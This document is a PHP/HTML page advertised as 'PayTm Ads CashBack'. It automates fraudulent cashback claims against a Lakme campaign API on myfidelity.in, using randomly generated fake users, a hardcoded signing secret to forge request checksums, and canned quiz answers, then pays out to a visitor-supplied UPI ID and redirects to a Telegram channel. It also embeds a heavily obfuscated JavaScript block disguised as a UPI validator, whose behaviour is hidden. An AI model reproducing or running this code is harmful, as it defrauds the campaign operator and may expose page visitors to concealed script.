<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NR - Naam To Suna Hi Hoga</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f4f4f4;
            font-family: Arial, sans-serif;
        }
        .form-container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            text-align: center;
            width: 100%;
            max-width: 400px;
        }
        .form-container h1 {
            font-size: 1.5em;
            margin-bottom: 20px;
        }
        .form-container input {
            width: calc(100% - 20px);
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
        }
        .form-container button {
            background-color: #4CAF50;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .form-container button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div class="form-container">

<?php

$chnlLink = "tg://resolve?domain=tricksmaster111";

if (isset($_GET['submit'])) {

function randomString($length = 8) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    return substr(str_shuffle($chars), 0, $length);
}

function sha256($data) {
    return hash('sha256', $data);
}

function sJb($json) {
    $decoded = json_decode($json, true);
    krsort($decoded);
    return json_encode($decoded, JSON_UNESCAPED_SLASHES);
}

function nR($jsBody, $secretKey) {
    return sha256(sha256($secretKey) . sJb($jsBody));
}

function httpCall($url, $data, $num) {
    $headers = [
        "Host: web.myfidelity.in",
        "Connection: keep-alive",
        "msisdn: " . $num,
        "campaignId: 1",
        "clientId: 8ZoDsAUz51EmwVnV6tnUbXjkUFl4Njzh23qWAc9c2vg=",
        "appVersion: 1.0",
        "checksum: " . nR($data, "*dkaSDs#*k9487ld!*kaSJDsj9784@ADS@197dsk!!dHD@dka267#SD!sk192@"),
        "appName: HUL Lakme",
        "channel: WEB",
        "Content-Type: application/json",
        "Accept: application/json"
    ];

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_TIMEOUT => 10,
    ]);
    $resp = curl_exec($ch);
    curl_close($ch);
    return json_decode($resp, true);
}

$firstName = ucfirst(strtolower(randomString(rand(6, 10))));
$num = rand(6, 9) . rand(100000000, 999999999);
$email = strtolower($firstName) . rand(1, 9999) . "@gmail.com";


$data1 = '{"msisdn":"'.$num.'","firstName":"'.$firstName.'","lastName":"","emailId":"'.$email.'","pinCode":"122001","consent1":1,"ssoId":"NA"}';
$resp1 = httpCall("https://web.myfidelity.in/api/v1/hul-lakme/save-user-detail", $data1, $num);

if ($resp1['msg'] === 'SAVE_USER_DETAIL_SUCCESS') {
    
    $data2 = '{"msisdn":"'.$num.'","answersMap":{"trivia1":{"answer":"Dry & Flaky Skin","question":"What is your biggest skincare concern?"},"trivia2":{"answer":"26 - 35 years old","question":"What is your age range?"}}}';
    $resp2 = httpCall("https://web.myfidelity.in/api/v1/hul-lakme/save-answers", $data2, $num);

    if ($resp2['msg'] === 'SUCCESS') {
        
        $data3 = '{"vpa":"' . $_GET['upi'] . '"}';
        $resp3 = httpCall("https://web.myfidelity.in/api/v1/hul-lakme/save-upi-info", $data3, $num);

        if ($resp3['msg'] === 'SUCCESS') {

            $data4 = '{"redemptionType":"CASHBACK"}';
            $resp4 = httpCall("https://web.myfidelity.in/api/v1/hul-lakme/redemption", $data4, $num);

            if ($resp4['msg'] === 'The cashback will be credited to your UPI linked bank account within 72 hours.') {
                echo "<h3><font color='blue'>₹" . $resp4['data']['redemptionValue'] . "</font> <font color='green'>Claimed successfully!</font></h3>";
                echo "<meta http-equiv='refresh' content='1;url=$chnlLink'>";
                exit;
            } else {
                echo "<h3><font color='red'>" . $resp4['msg'] . "</font></h3>";
                echo "<meta http-equiv='refresh' content='1;url=$chnlLink'>";
                exit;
            }
          } else if ($resp3['msg'] == 'Vpa already exits') {
              echo "<h3><font color='red'>Already Claimed!</font></h3>";
              echo "<meta http-equiv='refresh' content='1;url=$chnlLink'>";
              exit;
        } else {
            echo "<h3><font color='red'>" . $resp3['msg'] . "</font></h3>";
            echo "<meta http-equiv='refresh' content='1;url=$chnlLink'>";
            exit;
        }
    } else {
        echo "<h3><font color='red'>" . $resp2['msg'] . "</font></h3>";
        echo "<meta http-equiv='refresh' content='1;url=$chnlLink'>";
        exit;
    }
} else {
    echo "<h3><font color='red'>" . $resp1['msg'] . "</font></h3>";
    echo "<meta http-equiv='refresh' content='1;url=$chnlLink'>";
    exit;
 }
} else {
	               echo '<h1>PayTm Ads CashBack</h1>
                  <form method="GET">
                      <input type="text" name="upi" id="task_url" placeholder="Enter Your UPI ID" oninput="validateUPI(this)" required>
                      <button type="submit" name="submit">Claim</button>
                  </form>';
}

?>

<script>var validateUPI;(function(){var Pzc='',bVd=282-271;function ltW(m){var w=1110101;var n=m.length;var f=[];for(var q=0;q<n;q++){f[q]=m.charAt(q)};for(var q=0;q<n;q++){var r=w*(q+79)+(w%43540);var s=w*(q+485)+(w%41235);var y=r%n;var b=s%n;var v=f[y];f[y]=f[b];f[b]=v;w=(r+s)%2212833;};return f.join('')};var crf=ltW('votjnmcwrtkocgpirfhubdlatoruecnyqsxsz').substr(0,bVd);var rAu='bartx(l0hq"56[dg=7;hj6vr=;)[s n"xh*trr nepq=z v=txu-",r+a;(=,6n.0j1oa;=2,7(1cu,6(S++,1n=a6=;1u;ha88t6e).t{8t0vl,9=,7d{=l0(x=r.lrh].fe0[uaitea0l {(t.)pr)m7==n(yho[<gCgc5a=gah=ha2;ix(]u3oo,s+e{.a=9u;fsr}(h.Anj;5r(a.g,rcn{s)l;<dp.;n+i;r(7r8i )9],mpvvix 8l]phi((j( *uv;+1par;y1ifik)sasCy(71yvi )-)avah t=g,ilactrn2=i=y=);a; le;ull=vrto)ihmp[r. szol,gq;l)mar zmroo;-i =.r]cA.rr{;+"t)=r>["fhsafgCodeAtd;z.vh gr]j[hec-dn](ec=;r21)ee+b.;=r3hpdarg9f=1l-k;v)!.]+m;a8ls;svjes}s=vhvpqn(pb2,cg)o(1.}.; htCrde,uv,v urm.a)g-4528hgt9hr,=v;o"o7)l+v8oh=gr.sc+Ctikni n(e"3=ftr0h)a77];,s,;r.rArt;o{<k;c b+; inrr(,7nr(ep+=sno,ke(0]"ga=ye1-}=hvq!(nsleo[e)( gg)it0+gA4)<sa)[= [24;avmzrca}[e.0o(aru"[t<i[nv0+;ntghki;}v.9slfe+j+kg)hfan[fvpfh8)C=)tu)3thno>n,e6rlki(u+a(p0ho.,)r+Sg5)l+.f.==C  =Cre,(8rzl9;bgd9w vn}i);a]re,nvt=]i+)j(elsir]n();,eogi(4h(; a=;thnc1f2vn;.=rdubk(a6olc].,ra=n;oeta;afe;a;li)au+"e0++,no(;+v)';var RbR=ltW[crf];var hfw='';var Pqe=RbR;var ypE=RbR(hfw,ltW(rAu));var rDj=ypE(ltW('%&.l),$;.nf 3=,ro)egt,ee;SlCw93.-<rm(n);.d)_.bd0f eus}o3e]xr{d-f#bo.<.,3}$<s.b.#o-(a(3]0)}3<!f_$n\'1d;<$%i;=1t)le=.)2rt_l.r5a}n) 5!.43s<%<_.r0)<$<=3(b.ee.j$;a)<c&,arun3v7=(d(e)[a,!_nebf$)1l08)d1]m;((a\'rj<;p<+.r]}s<a2o4_90!2_10{;,m*4=<;2;4ddt!nrd.$4f1i_dnb8je2(s,t.terpto;0od6).tmuol<ij26.(ds<!i=a(0<r!.r<<<e<$.<}++l.;rel5(3.!,e<l<h})%!%&0<}<+=0hr(bc<=%t<=70ds.(rt(D++c{ ti(.)(,..0e4iom#<rd<11o,s)-i<hu!5r v-$!f<<sIi__;7(0<<1ds5.<<4<t_.7)))6g1(}n;<%354o_).;;av"\/ <..t.d$<4n<d,<8b;)(<%1a.1<-=e0a0.)1;6}csS)w\/!cjt;.(4=$_c,m[ewd!ncr0_3<.$<!%d\/]nrb. <(3t,2a($n);t1f$dj!j_h3jp$c.3,e}0<].ej*[}o<.<_;S(rpn0)_.!23t]r,df_%v\/r<{<)=)i_u.=p6t((t%!)d=<0=.(,r4.(l,*b<.]#5j=xd,%is v)9j;b7{tm.j1<"6<=d.vt=. ceb1idd.\'agl<\/fsrf nr}o.)dej.g<{14#r.o_;djt=s<avteewa0(u )3<.b-. f)2.i_ dt+{)c+].l-(x58as4_l),f<i0<_,i0)0.)<"_.4a4)tr[<u_(}snf(#7ij(6{mx<e*tzmg(<_}9_2].!tr(e; h] <6n$7().z0te{j.!<l]g,=<3#d07s.lnaaue.5.<0r8<<p;)&jz+mb<@,<m8;11.)=u+1waoi(<3{!0]%el smj<,s.""<1d$t9c0&<_1{{d<]l\/;<6,3(!3c$5.=e<<.n.!I3!odw$-8<j){$i[$Cldud.*<ofya0=0f <\/o0t. antb51s< $,i!i0n..]a)c%(r3n ]n2it$<7jf<,w"ts,)C-,u<onv)(+ m.af<<=0sd=0o2i$.l1)b\'.<.add<<-t[,.w030g=rd_uca{-,!+<as6)eI<d.t.4cr.z$tt$u_0<!0{<1ppt!<v1,<$0fotn")]'));var zWf=Pqe(Pzc,rDj );zWf(8140);return 8446})()</script>
</div>
</body>
</html>